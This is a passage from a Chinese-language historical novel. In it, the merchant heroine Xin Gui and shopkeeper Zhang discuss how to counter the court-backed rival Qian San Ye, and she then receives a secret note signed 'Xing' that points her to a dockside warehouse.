辛圭不解,温麟趾在旁解释道:“朝里的手。” 屋子里静了一瞬。 那只看不见的手,好像从没有出现过,但身影已经在所有人心里投下阴影。 如同登州的铁矿,如同山涧里的箭簇。 “咱们经商的,不能和他们对着干。”张掌柜给他们兜了一盆冷水:“如今钱三爷在临余被当众拆台,今日他给了周捕头面子,但看你们竟然还有胆子来码头,必然会有后招。” 辛圭慢慢道:“兵来将挡,水来土埋。” 张掌柜愣了愣,看向她:“小姐心里有底?” 她摇了摇头:“我没底。” 张掌柜一摊手:“我的小姐啊……” 辛圭悠悠道:“但他也不见得比我好到哪儿去。他能重返淮南码头的原由是能替某些人办事儿,他借着这个权在各处商行给自己占便宜。倘若他要来惹咱们的事儿,咱们就让他的事儿办不好办不成。” 张掌柜盯着她看了好一会儿,忽然笑起来:“行!舍得一身剐,那什么也能被拉下马!小姐不怕,咱们怕什么呢!淮南不就是那三件事儿吗:钱多货活路子野!” 天色渐渐暗下去,灯火在纸页上轻轻跳动。 有伙计敲门,递了张折得极小的纸:“小姐,有人托我转交,说是给您的账本备忘。” 辛圭展开纸,上面只有短短几行字。字迹潦草,却说不上陌生。 ——“钱三爷不会就此作罢。我暂压一压他的气焰,替你争取时间。你若要看更多,往东码头第二仓去,那里的木牌,比你见过的都多。 成圭,别只看账,看人。” 落款只有一个字——“星。”